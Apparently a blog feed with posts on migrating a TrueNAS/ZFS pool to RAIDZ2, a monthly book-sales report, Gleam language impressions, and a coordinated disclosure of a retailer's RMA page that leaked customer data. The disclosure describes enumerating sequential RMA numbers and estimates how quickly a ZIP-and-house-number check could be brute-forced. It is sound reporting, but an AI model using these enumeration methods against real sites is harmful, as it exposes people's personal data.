Unfortunately, I didn’t get to keep the pool name tank. TrueNAS has a lot of dependencies on the pool name, so I chose to go back to pool1 rather than update all of my shares and cron jobs to point to tank instead (see below).

Step 9: Create the RAIDZ2 pool

Finally, it’s time to create my 5x8TB RAIDZ2 pool:

zpool create \
 -f \
 ${NEWPOOL} \
 raidz2 \
 -m "/mnt/${NEWPOOL}" \
 "${DISK_5}" \
 "${DISK_6}" \
 "${DISK_7}" \
 "${MOVED_DISK}" \
 "${FAKE_DISK}"

Creating the pool succeeded, and I can check it with ZFS utilities:

$ zpool status "${NEWPOOL}"
 pool: tank
 state: ONLINE
config:

 NAME STATE READ WRITE CKSUM
 tank ONLINE 0 0 0
 raidz2-0 ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE 0 0 0
 ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE 0 0 0
 /tmp/fake-drive.img ONLINE 0 0 0

errors: No known data errors

$ zpool list "${NEWPOOL}"
NAME SIZE ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
tank 36.4T 1.27M 36.4T - - 0% 0% 1.00x ONLINE -

I also see my new RAIDZ2 pool from the TrueNAS web UI, which reports 21.4 TiB (23.5 TB) of usable capacity:

My new RAIDZ2 pool is visible from the TrueNAS web UI.

Step 10: Remove the fake disk

The fake disk is just a file in my /tmp directory, and it can’t really store the 8 TB it claims it can hold. To prevent strange behavior when the fake file exhausts the space on my /tmp filesystem, I immediately remove the fake disk from my RAIDZ2 pool:

zpool offline "${NEWPOOL}" "${FAKE_DISK}" && \
 rm "${FAKE_DISK}"

As expected, ZFS utilities report that my RAIDZ2 pool is degraded, but it can tolerate up to two disk failures, so a single offline disk is fine:

$ zpool status "${NEWPOOL}"
 pool: tank
 state: DEGRADED
status: One or more devices has been taken offline by the administrator.
 Sufficient replicas exist for the pool to continue functioning in a
 degraded state.
action: Online the device using 'zpool online' or replace the device with
 'zpool replace'.
config:

 NAME STATE READ WRITE CKSUM
 tank DEGRADED 0 0 0
 raidz2-0 DEGRADED 0 0 0
 ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE 0 0 0
 ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE 0 0 0
 /tmp/fake-drive.img OFFLINE 0 0 0

errors: No known data errors

$ zpool list "${NEWPOOL}"
NAME SIZE ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
tank 36.4T 1.41M 36.4T - - 0% 0% 1.00x DEGRADED -

Step 11: Migrate data to my new pool

My new RAIDZ2 pool is online with 23.5 TB of capacity, so I move my 18 TB of data from my old RAIDZ1 pool.

To transfer everything, I snapshot my entire RAIDZ1 pool and then send the snapshot from my old pool to my new pool:

SNAPSHOT_1="migrate1"
zfs snapshot -r "${OLDPOOL}@${SNAPSHOT_1}" && \
 zfs send --verbose --raw --replicate "${OLDPOOL}@${SNAPSHOT_1}" \
 | zfs receive -v -F "${NEWPOOL}"

Strangely, the command completes without reporting any errors, but I notice some datasets missing on my RAIDZ2 pool.

Troubleshooting my migration

To complete the data migration, I send the missing datasets one-by-one:

DATASET='photos'

zfs send --verbose --raw --replicate --skip-missing \
 "${OLDPOOL}/${DATASET}@${SNAPSHOT_1}" \
 | zfs receive -v -F -s "${NEWPOOL}/${DATASET}"

When I mount the pool at /mnt/tank/photos the directory still shows up as empty.

I try zpool export and zpool import, but there was no change.

Finally, I try rebooting my whole TrueNAS server, which magically fixes it. I’m able to see my files in /mnt/tank/photos.

Resuming interrupted transfers

From interrupting large transfers, I discover that ZFS, by default, does not send data with support for resuming interruptions. To resume, I have to do this complicated dance of retrieving a “resume token” and then including that in my zfs send command:

RESUME_TOKEN="$(zfs get -H -o value receive_resume_token "${NEWPOOL}/${DATASET}")"

zfs send -v -t "${RESUME_TOKEN}" | zfs receive -v -s "${NEWPOOL}/${DATASET}"

The output claims it parsed the resume token successfully, but the progress always resets to zero, so I don’t know if this command actually worked.

Finalizing the migration

Because the migration took several hours, I make a new snapshot and perform an incremental send of all the data that’s changed since my previous snapshot:

SNAPSHOT_2="migrate2"
zfs snapshot -r "${OLDPOOL}@${SNAPSHOT_2}"

zfs send -v \
 -i "${OLDPOOL}/${DATASET}@${SNAPSHOT_1}" \
 "${OLDPOOL}/${DATASET}@${SNAPSHOT_2}" \
 | zfs receive -v "${NEWPOOL}/${DATASET}"

Step 12: Swap pool names

I originally thought I’d switch to tank as my new pool name, but I realized that TrueNAS ties network shares and cron jobs to the pool name. If I renamed my main pool from pool1 to tank, I’d have to recreate or edit a bunch of network shares and cron jobs manually with the new name.

The easier solution is to let my new pool take over the name of my old pool, so I choose that.

I first try to export the pools to take them offline but various TrueNAS system services block me from doing that. So, I force a bunch of services offline:

sudo systemctl stop k3s
sudo umount -l /var/lib/kubelet
sudo systemctl stop smbd
sudo systemctl stop nmbd
sudo systemctl stop winbind
sudo systemctl stop middlewared
sudo systemctl stop netdata

From there, I’m free to offline the pools to perform the renames:

# Rename my old pool with the suffix `-old`.
zpool export -f "${OLDPOOL}" && \
 zpool export -f "${NEWPOOL}" && \
 zpool import "${OLDPOOL}" "${OLDPOOL}-old"

# Rename my new pool to my old pool's name.
zpool import ${NEWPOOL} ${OLDPOOL}
zfs set mountpoint="/mnt/${OLDPOOL}" "${OLDPOOL}"

After that, I restart all the services I had stopped:

sudo systemctl start middlewared
sudo systemctl start smbd
sudo systemctl start nmbd
sudo systemctl start winbind
sudo systemctl start netdata
sudo systemctl start k3s

But that doesn’t work, so I reboot again.

After rebooting, TrueNAS recognizes pool1 as my new 5x8TB RAIDZ2 pool:

Step 13: Scrub the new RAIDZ2 pool

I’m not sure if it’s necessary, but I run a scrub on my new pool for some extra confidence about my data integrity before I destroy my old pool. The scrub completes with no errors:

Step 14: Destroy my old pool

Now, the scariest part: destroying my old pool. I blow it away with zpool destroy:

zpool destroy "${OLDPOOL}-old"

Step 15: Replace the fake disk with a real disk

With my old RAIDZ1 pool destroyed, I now have three disks to migrate to my new RAIDZ2 pool.

The first disk migration requires a special flow because I’m replacing the fake disk (the 8 TB sparse file) on my RAIDZ2 pool.

I use zpool replace to replace my fake disk with a real disk:

FAKE_DISK='/tmp/fake-drive.img'
REPLACEMENT_DISK="$(get_disk_id sde)"
NEWPOOL='pool1'
zpool replace "${NEWPOOL}" "${FAKE_DISK}" "${REPLACEMENT_DISK}"

Checking zpool status shows that ZFS is resilvering (reorganizing) my data onto the disk I just swapped in:

$ zpool status "${NEWPOOL}"
 pool: pool1
 state: DEGRADED
status: One or more devices is currently being resilvered. The pool will
 continue to function, possibly in a degraded state.
action: Wait for the resilver to complete.
 scan: resilver in progress since Sat May 31 19:58:51 2025
 2.04T / 28.5T scanned at 56.6G/s, 0B / 28.5T issued
 0B resilvered, 0.00% done, no estimated completion time
config:

 NAME STATE READ WRITE CKSUM
 pool1 DEGRADED 0 0 0
 raidz2-0 DEGRADED 0 0 0
 ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE 0 0 0
 ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE 0 0 0
 ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE 0 0 0
 replacing-4 DEGRADED 0 0 0
 /tmp/fake-drive.img OFFLINE 0 0 0
 ata-ST8000VN004-2M2101_WSD5B9XY ONLINE 0 0 0

errors: No known data errors

The TrueNAS UI also shows that I’m replacing a disk:

Step 15: Absorb the two remaining disks

Finally, it’s time to expand the new RAIDZ2 pool with the remaining two disks from my old, destroyed RAIDZ1 pool:

Again, I hit a snag.

$ NEWDISK=$(get_disk_id sdd)
$ zpool attach "${NEWPOOL}" raidz2-0 "${NEWDISK}"
cannot attach /dev/disk/by-id/ata-ST8000VN004-3CP101_WRQ02GX5 to raidz2-0: raidz_expansion feature must be enabled in order to attach a device to raidz

Apparently, the RAIDZ expansion feature is off by default. Perhaps it’s only off if you upgrade from an earlier version of TrueNAS, as I had:

$ zpool get feature@raidz_expansion "${NEWPOOL}"
NAME PROPERTY VALUE SOURCE
pool1 feature@raidz_expansion disabled local

I enable the RAIDZ expansion feature with zpool upgrade:

zpool upgrade -o feature@raidz_expansion=enabled "${NEWPOOL}"

From there, I confirm that the RAIDZ expansion feature is enabled:

$ zpool get feature@raidz_expansion "${NEWPOOL}"
NAME PROPERTY VALUE SOURCE
pool1 feature@raidz_expansion enabled local

Now, I can try to add the disk again:

zpool attach "${NEWPOOL}" raidz2-0 "${NEWDISK}"

And the zpool status confirms that it’s adding the disk:

$ zpool status "${NEWPOOL}" | grep --after-context=1 "expand:"
+ grep --after-context=1 expand:
+ zpool status "${NEWPOOL}"
expand: expansion of raidz2-0 in progress since Sun Jun 1 08:08:03 2025
 17.1G / 28.5T copied at 501M/s, 0.06% done, 16:36:03 to go

After zpool status shows expansion has reached 100%, I repeat the process with the remaining disk and reach my final state.

My complete 7x8TB RAIDZ2 pool

With all the disks migrated, I now have a happy, healthy 7x8TB RAIDZ2 pool with 33 TB (30 TiB) of usable capacity:

Optional: Force data restriping

Reader @intelfx alerted me to a gotcha in the RAIDZ expansion feature. The data that exists on the disks prior to the RAIDZ expansion does not automatically restripe from 3x data + 2x parity to 5x data + 2x parity, so it can’t take advantage of the improved storage efficiency of the 7-disk array. The net effect is that you can’t use all of the capacity on your RAIDZ2 pool.

You can work around this by forcing a rewrite of the pre-migration datasets (e.g., zfs send each dataset to a backup, then zfs receive to restore it). OpenZFS contributor Rob Norris points out that there’s a zfs rewrite command coming in OpenZFS 2.4.x that achieves the same thing more elegantly.

Optional: Match TrueNAS feature configuration

A member of the iXsystems team (the team that maintains TrueNAS) commented on reddit to say that TrueNAS technically doesn’t support users creating ZFS pools from the command line. He suggested that I create a test pool in TrueNAS, dump its feature flags, then apply those flags to the new RAIDZ2 pool I created from the command-line.

It’s not clear to me what difference it makes to apply the TrueNAS flags to the pool I created from the CLI, but here are the flags I believe iXsystems are recommending, as of 25.04:

zpool set feature@lz4_compress=enabled "${NEWPOOL}"
zpool set feature@async_destroy=enabled "${NEWPOOL}"
zpool set feature@empty_bpobj=enabled "${NEWPOOL}"
zpool set feature@multi_vdev_crash_dump=enabled "${NEWPOOL}"
zpool set feature@spacemap_histogram=enabled "${NEWPOOL}"
zpool set feature@enabled_txg=enabled "${NEWPOOL}"
zpool set feature@hole_birth=enabled "${NEWPOOL}"
zpool set feature@extensible_dataset=enabled "${NEWPOOL}"
zpool set feature@embedded_data=enabled "${NEWPOOL}"
zpool set feature@bookmarks=enabled "${NEWPOOL}"
zpool set feature@filesystem_limits=enabled "${NEWPOOL}"
zpool set feature@large_blocks=enabled "${NEWPOOL}"
zpool set feature@large_dnode=enabled "${NEWPOOL}"
zpool set feature@sha512=enabled "${NEWPOOL}"
zpool set feature@skein=enabled "${NEWPOOL}"
zpool set feature@edonr=enabled "${NEWPOOL}"
zpool set feature@userobj_accounting=enabled "${NEWPOOL}"
zpool set feature@encryption=enabled "${NEWPOOL}"
zpool set feature@project_quota=enabled "${NEWPOOL}"
zpool set feature@device_removal=enabled "${NEWPOOL}"
zpool set feature@obsolete_counts=enabled "${NEWPOOL}"
zpool set feature@zpool_checkpoint=enabled "${NEWPOOL}"
zpool set feature@spacemap_v2=enabled "${NEWPOOL}"
zpool set feature@allocation_classes=enabled "${NEWPOOL}"
zpool set feature@resilver_defer=enabled "${NEWPOOL}"
zpool set feature@bookmark_v2=enabled "${NEWPOOL}"
zpool set feature@redaction_bookmarks=enabled "${NEWPOOL}"
zpool set feature@redacted_datasets=enabled "${NEWPOOL}"
zpool set feature@bookmark_written=enabled "${NEWPOOL}"
zpool set feature@log_spacemap=enabled "${NEWPOOL}"
zpool set feature@livelist=enabled "${NEWPOOL}"
zpool set feature@device_rebuild=enabled "${NEWPOOL}"
zpool set feature@zstd_compress=enabled "${NEWPOOL}"
zpool set feature@draid=enabled "${NEWPOOL}"
zpool set feature@zilsaxattr=enabled "${NEWPOOL}"
zpool set feature@head_errlog=enabled "${NEWPOOL}"
zpool set feature@blake3=enabled "${NEWPOOL}"
zpool set feature@block_cloning=enabled "${NEWPOOL}"
zpool set feature@vdev_zaps_v2=enabled "${NEWPOOL}"
zpool set feature@redaction_list_spill=enabled "${NEWPOOL}"
zpool set feature@raidz_expansion=enabled "${NEWPOOL}"
zpool set feature@fast_dedup=enabled "${NEWPOOL}"
zpool set feature@longname=enabled "${NEWPOOL}"
zpool set feature@large_microzap=enabled "${NEWPOOL}"

Thanks to @NugentS on the TrueNAS forums for teaching me the clever sparse file hack for creating a larger RAIDZ2 pool. Thanks to Chris from iXsystems for correcting some of these details.

Refactoring English: Month 7

Fri, 11 Jul 2025 00:00:00 +0000

Highlights

I look for ways to limit the number of half-complete tasks I’m juggling.
I brainstorm ways to talk with more of my early readers.
I have trouble accepting a design decision in the Gleam language.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Offer a lower-friction way for users to pre-order my book

Result: Switched from Kickstarter pre-orders to Stripe payment links.
Grade: A

I ran the initial pre-sale through Kickstarter, so I decided to just stick with it for subsequent pre-orders. After a couple of months, I realized Kickstarter requires customers to create an account to buy the book, which adds a lot of friction and discourages people from buying.

Switching to Stripe seemed to impact sales, as there were 22 pre-orders on Stripe in 30 days vs. just 7 pre-orders when it was Kickstarter-only. It’s not a perfect apples-to-apples comparison because I also published a new sample chapter after switching to Stripe.

Publish a new sample chapter on the book website

Result: Published “How to Write Compelling Software Release Announcements”
Grade: A

This got a positive reception on Lobsters and was doing well on Hacker News, but it got moderated off the front page. I suspect users on Hacker News disliked the emphasis on marketing and flagged it.

I got more useful feedback on this chapter than on any previous chapter. A lot of it was negative feedback, but that was legitimately helpful because I found the criticism fair. I revised the post based on the feedback, and the discussions gave me ideas for two new sections (“Briefly introduce your product” and “Turn your numbers into graphs”).

Meet at least 10 readers on video calls

Result: Met three readers on video calls.
Grade: D

I fell way below my goal on this. Part of the problem was that I only scheduled two calls for the whole month, but another issue is that I’m failing to draw attendance from early readers on the calls I have.

Refactoring English metrics

Metrics are back!

I used to publish my finances every month, but I stopped after I sold TinyPilot, as there weren’t any interesting numbers to report. Now, that the pre-sale is going, I have relevant numbers to share again.

Metric	May 2025	June 2025	Change
Unique visitors	2,986	6,574	+3,588 (+120%)
Revenue from pre-orders	$193.20	$597.24	+$404.04 (+209%)
Revenue from consulting	$0.00	$242.45	+$242.45 (+inf%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$241.45	$887.94	+$646.49 (+268%)

I’m glad to see an increase in visitors lead to an increase in sales, and I’m especially glad to see sales grow disproportionately to visits. I’m not sure if I’ll be able to sustain it, but it will be a good indicator that people are enjoying the book enough to recommend to others.

How can I juggle fewer drafts at once?

One of the strategies that’s been successful for this book is committing to at least an hour per day of “difficult” writing. That means that I can’t use the hour to do formatting, grammar checking, or proofreading.

My strategy has worked well. In June, I think I published more than in any other month of my career. I added three new chapters to the Refactoring English ebook, published one new sample chapter, and I wrote three new posts on this blog.

The problem with my strategy is that abstaining from easier writing tasks means I accrue posts that are almost done but need some grammar checking and proofreading. Particularly last month, I had a lot of partially-finished writing, and I felt like I was wasting mental cycles keeping track of what was published and what still needed final edits.

I guess the underlying problem was that I kept starting new blog posts. Maybe the simple answer is that I have to avoid starting new posts when I have incomplete pending posts.

How can I talk more with early access readers?

One of the benefits of selling Refactoring English as I write it is that people willing to pre-order an incomplete book are probably especially enthusiastic relative to the average reader. My plan was to talk frequently to early readers to make sure the book answers their questions and feels accessible.

In practice, I’ve had a hard time connecting with readers. I’ve sent short surveys about sample chapters or invited people to reply with feedback, but I’ve only received a couple of responses from ~1,400 mailing list subscribers and ~250 pre-order customers.

I started doing live video sessions, and I’ve tried different things in those sessions including lectures, writing workshops, office hours, and book club-style discussions of popular software blog posts. The live sessions have been fun and the attendees have given me excellent feedback, but only a couple of readers attend each call, so it feels like I’m still only reaching a tiny sliver of readers.

The other successful source of feedback has been clients who purchase 1:1 editing feedback. I’ve only had three paying clients, but working with them helps me see what writing issues people in my target audience want help with.

Based on this, here are my ideas for talking more with readers:

Reach out to readers individually after they purchase to ask about what they want to learn from the book and whether it meets their expectations so far.
Polish my writing consulting page a bit to make it more appealing.
Offer a discounted consulting option for people who are motivated to learn but can’t afford the price.
Reach out to users on Hacker News who keep submitting articles but fail to gain traction to see if they’re interested in hiring me for feedback.
Offer a “book me for your team” option so I can present a writing topic to someone’s work team and answer their questions.

How can I improve marketing for the book?

Along with half-finished blog posts, there are a lot of simple things I want to do to market my book, but I haven’t allocated time for them, so they just keep taking up space in my mind.

Here’s my braindump of all the low-hanging fruit tasks I’d like to complete:

Improve the website.
- Add a favicon.
- Tweak the UI so that the call-to-action is to buy early access rather than sign up for the mailing list.
- Improve the early access page.
  - I’ve already rebranded it from “pre-order” to “early access.”
- Show on the website which chapters are available rather than just the count.
Publish the interview with a blogger that I recorded a year ago.
- I recorded this for my planned reboot of Hit the Front Page of Hacker News, but I ended up shelving that product, and it’s been bothering me that I asked someone to do an interview and have just been sitting on it forever.
Port web versions of excerpts to the ebook and mark those chapters as complete on the website.
- I’ve done most of these, but it’s so boring that I put it off, and there are still three chapters that exist in the web excerpts that I haven’t yet integrated into the ebook.

Programming in Gleam and missing the humble `for` loop

In an effort to learn a new programming language this year, I’ve been experimenting with Gleam. I’m using it to parse my old AOL Instant Messenger chat logs, which look like this:

Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
[18:44] Jane: hi
[18:55] Me: hey whats up
Session Close (Jane): Mon Sep 12 18:56:02 2005

I wrote a longer post about my initial impressions of Gleam, and I’ve spent several more hours programming in it since then.

One of the hardest adjustments in Gleam is working without loops. Gleam deliberately has no loops. Instead, you’re supposed to use recursive functions or call a mapping function for each element in a list.

The lack of loops is giving me the most trouble when I’m trying to split my chat logs into tokens for parsing. The delimiters I care about are [' ', '\n', '[', ']']. I also care about colon, but only if a single space follows it, like this: ': '.

In a language like Go, I’d iterate through the string in a for loop. When I found a space character, I’d check if the previous character was a : so that I could handle the : case.

Without loops in Gleam, I end up building this odd decision tree where a lot of the leaves duplicate the same complicated function code.

I find a lot of Gleam’s design choices interesting in that when I do something “the Gleam way,” it feels elegant, but with loops, it just feels like I’m working without the right tools.

I’m going to keep experimenting with Gleam, but I’m also going to give Elixir or OCaml a shot, as they have a lot of the features I like in Gleam while addressing some of my pain points.

Wrap up

What got done?

Published “How to Write Compelling Software Release Announcements”
Published “goHardDrive Leaked Personal Data for Thousands of Customers”
Published “My First Impressions of Gleam”
Published “A Simple Example of Calling an Elixir Library from Gleam”
Wrote three new chapters in the ebook version of Refactoring English
Integrated into the ebook three previous chapters I’d published as excerpts on the web

Lessons learned

Resist the temptation to start new blog posts when I already have partially-finished posts.
I should seek more conversations with readers by doubling down on what’s working.

Goals for next month

Talk to at least 10 readers I haven’t spoken to before.
Clear the backlog of my marketing ideas.
Publish a new chapter of Refactoring English.

goHardDrive Leaked Personal Data for Thousands of Customers

Wed, 02 Jul 2025 00:00:00 +0000

I recently returned a product to goHardDrive, a merchant that specializes in selling used hard drives. During the return process, I discovered that they were accidentally publishing details about thousands of their customers, including their full names, mailing addresses, email addresses, and order details.

The leak

When I requested a return from goHardDrive, they assigned me a return merchandise authorization (RMA) number ending in five numeric digits. I’m not publishing my actual RMA number, but you can imagine that it was a number like this:

GHD12345

To check the status of my return, I typed my RMA number into a form at ghdwebapps.com/rma:

goHardDrive’s RMA status check form. Yes, it says “Enter email” when it actually wants an RMA number.

When I entered my RMA number, I saw this screen:

That screen shows every bit of private information that goHardDrive knew about me, including:

My name
My mailing address
My email address
My phone number (which I thankfully did not provide)
My order number and date
The products I was returning and the reason for their return

I didn’t notice how much goHardDrive was exposing until I accidentally mistyped the last digit of my RMA number, and the form showed me the full information for another customer who had returned their merchandise on the same date.

The URL for this page had the form of:

https://ghdwebapps.com/rma/check?rmaNo=GHD12345&fromButton=1

It would be trivial to write a script that sends an HTTP GET request replacing 12345 with every number from 00001 to 99999 and scrapes the personal details of every goHardDrive customer who had requested a return. Even someone with no software development knowledge could just type any RMA number in the form and get all of that customer’s data.

This form was public and had no authentication, rate limits, or CAPTCHA.

Scale of leak

I estimate that this leak affected between 10k and 100k customers.

I can’t say for certain how many goHardDrive customers this vulnerability affected, but assuming that goHardDrive started their RMA numbers at 10000 or below and increments by one, that means that 10k-100k customers were exposed in this leak.

goHardDrive’s attempted fix

I emailed goHardDrive about this issue on May 21, 2025. To their credit, they responded within two hours to acknowledge the issue and confirm that they would deploy a fix within three to five business days.

A week later, I hadn’t heard anything, so followed up with goHardDrive. They said they’d updated the form to prevent attackers from enumerating RMA numbers.

I checked their RMA form and found that they changed it to require customers to enter their postal code and house number.

At first, this seemed sufficient. Given a sequential RMA number, you can trivially guess every other valid RMA number, but what are the odds of guessing an RMA number and the corresponding ZIP code and house number?

Then, I thought about it more. US ZIP codes are only five digits long, meaning there are only 100k possible ZIP codes. Actually, it’s less than half that, as there are only ~42k valid ZIP codes. And ZIP codes are not evenly distributed, so certain ZIP codes are much more common.

There’s a wide range of possible house numbers, but the majority are likely to fall in the range of 1 to 100, likely with heavy clustering in the lower numbers.

So, the worst case is that an attacker has to try about 42k x 100 = 4.2M possible combinations to leak details associated with an RMA number. Optimizing by common ZIP codes and house numbers probably means the attacker has >50% chance of success after about 50k guesses.

How long does it take to make 50k guesses against a web API? The security researcher brutecat recently wrote about enumerating phone numbers on a Google web API. They were able to make 40k HTTP requests per second on a $0.30/hr cloud server. I doubt goHardDrive’s RMA form could serve 40k requests per second, but I wouldn’t be surprised if an attacker could test 1k possibilities per second, meaning that they’d have a 50% chance of guessing correctly within about one minute.

goHardDrive removes RMA status checks entirely

I followed up with goHardDrive to tell them that I thought the new mitigations were insufficient.

I suggested that goHardDrive simplify their RMA status page to publish only the RMA status rather than blurting out all of my personal details. As the customer, I don’t need to see my own address, email, and phone number when checking my RMA status. I just want to see when goHardDrive has received my return and when they’ve shipped me a replacement. There’s no need to publish all of my private details, though I assume it serves some internal process on goHardDrive’s side.

goHardDrive didn’t reply, so I followed up a week later to ask if they considered this an issue. They replied a few hours later to say they’d remove the RMA status check from their website entirely.

The following week, I checked back and found that they had indeed taken down their RMA status page. I asked what the new process was for getting RMA status, and goHardDrive said that customers could just email them for status updates.

Bug bounty

I asked goHardDrive if they offer bug bounties for people who offer coordinated disclosure of security vulnerabilities. goHardDrive said that they had no bug bounty program, but that they refunded $20 of my $330 purchase as a thank you.

The bounty on an information disclosure of this scale is normally hundreds to thousands of dollars, so $20 is quite low.

Timeline

2025-05-21: I report the vulnerability to goHardDrive.
2025-05-21: (two hours later) goHardDrive acknowledges the issue and says that they are working on a fix. They say to expect a fix within 3-5 business days.
2025-05-29: I request a status update from goHardDrive.
2025-05-29: goHardDrive responds to say that they’ve remediated the issue by requiring the customer to enter the matching ZIP code and street number for the RMA.
2025-06-05: I express concerns to goHardDrive about their new RMA search feature.
2025-06-20: goHardDrive confirms to me that they’ve permanently removed their RMA search form and now share RMA status exclusively over email.

Sidenote: Leaks aside, this is a terrible return process

Even if they hadn’t leaked all my data, goHardDrive has the worst RMA process of any merchant I’ve encountered.

I originally chose goHardDrive because of glowing reviews about the company on reddit. One user beamed that when they reported a bad drive to goHardDrive, the vendor sent the replacement before even receiving the return and gave the customer a postage-paid label for returning the defective unit:

In my case, two out of the three hard drives I purchased from goHardDrive arrived dead. I wasted a lot of time trying to diagnose hardware issues on my server because I thought it was so unlikely that two separate drives would arrive dead, but I ultimately realized that goHardDrive had simply sent me two dead drives.

I started the return process and was surprised to find that goHardDrive made me re-enter all of my order and address details.

goHardDrive’s RMA form makes customers manually re-enter all of their address and order details.

Normally, an RMA process lets you enter your order number, and the merchant pulls up your information, and you just let them know which item you need to return. With goHardDrive, it was as if they completely forgot who I was in the two weeks since I’d made my purchase.

Also, contrary to the claim on reddit, goHardDrive does not pay return shipping. I had to pay postage out of pocket even though goHardDrive had shipped me broken hardware. Rather than have a replacement in-hand two days after reporting the defect, I had to wait two weeks.

Finally, goHardDrive never sent any email confirmation or updates throughout the return process. I’m glad I thought to photograph my return package before shipping it because I otherwise wouldn’t have any record of my RMA number. From checking the insecure RMA status page, I could see my request go from OPEN to RECEIVED to CLOSED with no further information or tracking numbers.

My First Impressions of Gleam

Sun, 22 Jun 2025 00:00:00 +0000

I’m looking for a new programming language to learn this year, and Gleam looks like the most fun. It’s an Elixir-like language that supports static typing.

I read the language tour, and it made sense to me, but I need to build something before I can judge a programming language well.

I’m sharing some notes on my first few hours using Gleam in case they’re helpful to others learning Gleam or to the team developing the language.

My project: Parsing old AIM logs

I used AOL Instant Messenger from about 1999 to 2007. For most of that time, I used AIM clients that logged my conversations, but they varied in formats. Most of the log formats are XML or HTML, which make re-reading those logs a pain.

The simplest AIM logs are the plaintext logs, which look like this:

Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
[18:44] Jane: hi
[18:55] Me: hey whats up
Session Close (Jane): Mon Sep 12 18:56:02 2005

Every decade or so, I try writing a universal AIM log parser to get all of my old logs into a consistent, readable format. Unfortunately, I always get bored and give up partway through. My last attempt was seven years ago, when I tried doing it in Python 2.7.

Parsing logs is a great match for Gleam because some parts of the project are easy (e.g., parsing the plaintext logs), so I can do the easy parts while I get the hang of Gleam as a language and gradually build up to the harder log formats and adding a web frontend.

I’ve also heard that functional languages lend themselves especially well to parsing tasks, and I’ve never understood why, so it’s a good opportunity to learn.

My background in programming languages

I’ve been a programmer for 20 years, but I’m no language design connoisseur. I’m sharing things about Gleam I find unintuitive or difficult to work with, but they’re not language critiques, just candid reactions.

I’ve never worked in a langauge that’s designed for functional programming. The closest would be JavaScript. The languages I know best are Go and Python.

How do I parse command-line args?

The first thing I wanted to do was figure out how to parse a command-line argument so I could call my app like this:

./log-parser ~/logs/aim/plaintext

But there’s no Gleam standard library module for reading command-line arguments. I found glint, and it felt super complicated for just reading one command-line argument. Then, I realized there’s a simpler third-party library called argv.

I can parse the command-line argument like this:

pub fn main() {
 case argv.load().arguments {
 [path] -> io.println("command-line arg is " <> path)
 _ -> io.println("Usage: gleam run <directory_path>")
 }
}

$ gleam run ~/whatever
 Compiled in 0.01s
 Running log_parser.main
command-line arg is /home/mike/whatever

Cool, easy enough!

What does `gleam build` do?

I got my program to run with gleam run, but I was curious if I could compile an executable like go build or zig build does.

$ gleam build
 Compiled in 0.01s

Hmm, compiled what? I couldn’t see a binary anywhere.

The documentation for gleam build just says “Build the project” but doesn’t explain what it builds or where it stores the build artifact.

There’s a build directory, but it doesn’t produce an obvious executable.

$ rm -rf build && gleam build
Downloading packages
 Downloaded 5 packages in 0.00s
 Compiling argv
 Compiling gleam_stdlib
 Compiling filepath
 Compiling gleeunit
 Compiling simplifile
 Compiling log_parser
 Compiled in 0.52s

$ ls -1 build/
dev
gleam-dev-erlang.lock
gleam-dev-javascript.lock
gleam-lsp-erlang.lock
gleam-lsp-javascript.lock
gleam-prod-erlang.lock
gleam-prod-javascript.lock
packages

From poking around, I think the executables are under build/dev/erlang/log_parser/ebin/:

$ ls -1 build/dev/erlang/log_parser/ebin/
log_parser.app
log_parser.beam
log_parser@@main.beam
log_parser_test.beam
plaintext_logs.beam
plaintext_logs_test.beam

Those appear to be BEAM bytecode, so I can’t execute them directly. I assume I could get run the BEAM VM manually and execute those files somehow, but that doesn’t sound appealing.

So, I’ll stick to gleam run to run my app, but I wish gleam build had a better explanation of what it produced and what the developer can do with it.

Let me implement the simplest possible parser

To start, I decided to write a function that does basic parsing of plaintext logs.

So, I wrote a test with what I wanted.

pub fn parse_simple_plaintext_log_test() {
 "
Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
[18:44] Jane: hi
[18:55] Me: hey whats up
Session Close (Jane): Mon Sep 12 18:56:02 2005
"
 |> string.trim
 |> plaintext_logs.parse
 |> should.equal(["hi", "hey whats up"])
}

Eventually, I want to parse all the metadata in the conversation, including names, timestamps, and session information. But as a first step, all my function has to do is read an AIM chat log as a string and emit a list of the chat messages as separate strings.

That meant my actual function would look like this:

pub fn parse(contents: String) -> List(String) {
 // Note: todo is a Gleam language keyword to indicate unfinished code.
 todo
}

Just to get it compiling, I add in a dummy implementation:

pub fn parse(contents: String) -> List(String) {
 ["fake", "data"]
}

And I can test it like this:

$ gleam test
 Compiling log_parser
warning: Unused variable
 ┌─ /home/mike/code/gleam-log-parser2/src/plaintext_logs.gleam:1:14
 │
1 │ pub fn parse(contents: String) -> List(String) {
 │ ^^^^^^^^^^^^^^^^ This variable is never used

Hint: You can ignore it with an underscore: `_contents`.

 Compiled in 0.22s
 Running log_parser_test.main
F
Failures:

 1) plaintext_logs_test.parse_simple_plaintext_log_test: module 'plaintext_logs_test'
 Values were not equal
 expected: ["hi", "hey whats up"]
 got: ["fake", "data"]
 output:

Finished in 0.008 seconds
1 tests, 1 failures

Cool, that’s what I expected. The test is failing because it’s returning hardcoded dummy results that don’t match my test.

Adjusting my brain to a functional language

Okay, now it’s time to implement the parsing for real. I need to implement this function:

pub fn parse(contents: String) -> List(String) {
 todo
}

At this point, I kind of froze up. It struck me that Gleam excludes so many of the tools I’m used to in other languages:

There are no if statements
There are no loops
There’s no return keyword
There are no list index accessors
- e.g., you can’t access the n-th element of a List

